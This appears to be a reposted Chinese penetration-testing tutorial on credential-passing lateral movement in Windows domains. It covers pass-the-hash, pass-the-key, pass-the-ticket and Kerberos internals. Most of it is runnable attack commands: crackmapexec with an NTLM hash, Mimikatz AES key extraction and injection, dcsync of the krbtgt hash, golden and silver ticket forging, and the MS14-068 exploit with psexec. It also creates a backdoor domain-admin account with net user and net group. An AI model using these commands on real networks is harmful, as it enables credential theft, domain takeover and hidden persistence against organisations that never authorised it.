|
凭证传递攻击
本文主要讲解如何利用凭证进行横向传递攻击,涉及的攻击方式有PTH、PTK、PTT。
PTH(pass the hash)即hash传递攻击,如果计算机的本地管理员账户密码都是相同的话,攻击者就可以利用哈希传递攻击的方式登陆到网络中其它的计算机上
PTK(pass the key)密钥传递攻击,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能
PTT(Pass-the-Ticket)票据传递攻击,过窃取或伪造Kerberos票据(Ticket),绕过密码验证,直接以合法用户身份访问域内资源
|
凭证传递攻击
混子Hacker
01
PTH(hash传递)
Pass The Hash
简称PTH,也称之为hash传递攻击
,该方式主要是通过找到与账户相关的密码散列值,通常情况下是使用NTLM hash
来进行攻击,不过需要注意在Windows server 2012 r2
或者Windows 7
之前使用道的密码散列值是LM
、NTLM
,而在之后则是使用到NTLM
,而在域环境中计算机登陆的时候多数都是使用域账户来登陆,计算机在安装过程中为了方便,基本上会使用相同的账户密码,因此,如果计算机的本地管理员账户密码都是相同的话,攻击者就可以利用哈希传递攻击的方式登陆到网络中其它的计算机上
crackmapexec smb target ip.txt -u administrator -H 478f4ee0a2f167ae72bdedf209a051f6 -d .
混子Hacker
02
PTK(密钥传递)
微软补丁KB2871997限制了PTH(Pass the Hash)攻击,禁止非管理员账户通过NTLM哈希远程连接,强制转向Kerberos认证,Kerberos协议默认使用NTLM哈希加密会话密钥,但PTK改用AES密钥加密SessionKey,使其在补丁后的环境中仍能横向移动。
但是PTK对环境要求需安装KB2871997补丁,导致其使用访问变得十分有限没有PTH使用广
2.1 环境要求
-
域环境:PTK依赖Kerberos协议,仅在域环境下有效,工作组环境无法获取AES密钥。
-
系统补丁:目标主机需安装KB2871997补丁,否则无法启用AES密钥认证
-
需获取目标主机的AES256密钥(如通过Mimikatz提取)。
2.2 获取aes值
sekurlsa::ekeys
2.3 密钥传递
通过Mimikatz生成新的会话,注入AES密钥:
sekurlsa::pth /user:administrator /domain:example.com /aes256:<AES256密钥>
成功后会弹出新的CMD窗口,通过该窗口执行横向连接(如dir \目标IPC$
)
混子Hacker
03
PTT(票据传递)
PTT攻击通过窃取或伪造Kerberos票据,绕过传统密码验证,实现内网横向移动。其核心类型包括黄金票据、白银票据和基于漏洞(如MS14-068)的攻击
Kerberos是一种计算机网络认证协议 ,目的是通过密钥系统为网络中通信的客户机/服务器应用程序提供严格的身份验证服务,确保通信双方身份的真实性。Kerberos协议中在发起服务请求后必须先进行一系列的身份认证,包括客户端和服务端两方的双向认证,只有当通信双方都认证通过对方身份之后,才可以互相建立起连接,进行网络通信。
-
客户端(client):发送请求的一方
-
服务端(Server):接收请求的一方
-
密钥分发中心(Key Distribution Center,KDC)
KDC密钥分发中心一般又分为两部分:
-
AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
-
TGS(Ticket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)
Kerberos认证过程图解:
第一次通信client与AS:
-
client携带客户端信息向AS发送请求
-
AS返回两部分信息
-
TGT(使用TGS密钥加密客户端只能转发无法查看内容)
-
TGS名称、时戳、时效、client与TGS之间通信使用的session_key。这部分内容使用客户端密钥加密客户通过解密获取其中的信息之后与TGS进行通信:
第二次通信client与TGS之间通信:
-
client向TGS发送两个信息
-
TGT(使用TGS密钥加密)和所请求的ServerIP
-
客户端信息(使用第一次请求获取的CT_SK加密,只有TGS和client之间才能查看)
-
TGS返回两部分信息
-
ST(Servre Ticket):向服务器请求的票据,使用服务器密钥加密只有服务器能查看信息
-
时戳、ST时效、client与server之间通信的session_key(CS_SK),使用客户端密钥加密
第三次通信client与server之间通信:
-
client向server发送两部分信息:
-
ST(Servre Ticket):使用服务器密钥加密,这个数据第二次通信时TGS返回给client的,客户端只能进行转发无法查看修改内容
-
客户端信息:使用第二次通信获取的CS_SK进行加密,只有客户端和服务器之间才能查看
-
server响应是否接受请求:server解密ST获取CS_SK,使用CS_SK解密客户端信息
在Kerberos认证的第一次通信中,AS服务器会向client客户端返回一个TGT票据授予票据还有客户和TGS通信使用CT_SK这个session key并不会存储在
密钥分发中心(Key Distribution Center,KDC),但是TGT使用的是
krbtgt账号的NTLM Hash进行加密的
如果获取到krbtgt的NTLM Hash可以伪造一个TGT和CT_SK绕过AS的认证
黄金票据常用于权限维持,如前面的攻击中已获取域管权限,抓取了krbtgt的ntlm、SUID。但被应急修复了漏洞和域管密码,随后的攻击又获取一个域内低权限用户,就可以使用黄金票据获取域管权限
privileg::debug
lsadump::dcsync /domain:zz.com /user:krbtgt
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:hunzihacker.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
kerberos::ptt hunzihacker.kirbi
net user hunzihacker01 Admin@123 /add /domain
net group "domain admins" hunzihacker01 /add /domain
在kerberos认证的第三步中使用的服务的hash进行加密的,如果可以获取对应服务的hash值就可以伪造一个ST票据向服务器发起访问请求。不会经过KDC,从而更加隐蔽,但是伪造的票据只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(Windows远程管理),DNS等
白银票据原文链接:
https://zhuanlan.zhihu.com/p/475689947
伪造CIFS服务权限
CIFS服务通常用于Windows主机之间的文件共享。
我们在获取到某一台主机的管理员权限,或者一般情况下我们都在域控上面做白银票据,留作后门。
现在我们在域控上使用mimikatz获取信息:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"
我们找到以username为主机名称的信息:
获取SID值:
whoami /all
注意要去掉-500
整理以上获得的信息如下:
/domain:hack.lab
/sid:S-1-5-21-3896163557-1645138957-2306563325
/target:dc.hack.lab
/service:cifs
/rc4:b21153e3b2ca87bc4b2031f2a9726613
/user:fakeuser
记得清理下系统票据
klist purge
Mimikatz:
kerberos::purge
现在来到我们普通域用户下的win7(172.16.0.105)执行mimikatz:
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:cifs /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"
执行完我们就可以访问dc服务器上的文件了:
伪造LDAP服务权限
我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。现在我们使用mimikatz实验获取krbtgt的密码散列:
lsadump::dcsync /dc:dc.hack.lab /domain:hack.lab /user:krbtgt
可以看到是无法获取的:
记得清理下系统票据
klist purge
Mimikatz:
kerberos::purge
现在我们开始使用上面获取到的信息进行伪造银票:
/domain:hack.lab
/sid:S-1-5-21-3896163557-1645138957-2306563325
/target:dc.hack.lab
/service:ldap
/rc4:b21153e3b2ca87bc4b2031f2a9726613
/user:fakeuser
mimikatz "kerberos::golden /domain:hack.lab /sid:S-1-5-21-3896163557-1645138957-2306563325 /target:dc.hack.lab /service:ldap /rc4:b21153e3b2ca87bc4b2031f2a9726613 /user:fakeuser /ptt"
我们再次获取的时候就能有权限了:
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll。它允许经过身份验证的用户在其kerberos票证中插入任意PAC,并且可能允许攻击者将未经授权的域用户账户的权限提升为域管理员的权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。
利用条件:
-
获取域普通用户的账号密码
-
获取域普通用户的SID
-
服务器存在此漏洞,即未安装KB3011780补丁
利用过程:
-
可以通过systeminfo获取系统详细信息,查看服务器是否安装KB3011780补丁。
-
通过whoami /all查询用户SID
-
在创建票据前先清空系统内票据:
mimikatz # kerberos::purge
-
下载ms14-068漏洞利用程序,然后生成相应票据:
ms14-068.exe -u [email protected] -p Admin123. -s S-1-5-21-852302026-1017351130-1254579120-1104 -d 目标ip
其中-u参数指定域用户-p参数用来指定域用户密码,-s参数用来指定域用户SID,-d参数用来指定域控ip。
-
使用Mimikatz工具将生成的凭据注入内存中:
kerberos::ptc 票据文件名
-
将票据注入内存中后,使用psexec.exe工具可以连接域控建立交互式会话,拿到域控权限:
psexec.exe \目标ip cmd.exe
【内网渗透基础】四、内网横向-主机凭据获取【内网渗透基础】四、内网横向-IPC横向 |
原文始发于微信公众号(混子Hacker):【内网渗透基础】四、内网横向-凭证传递攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论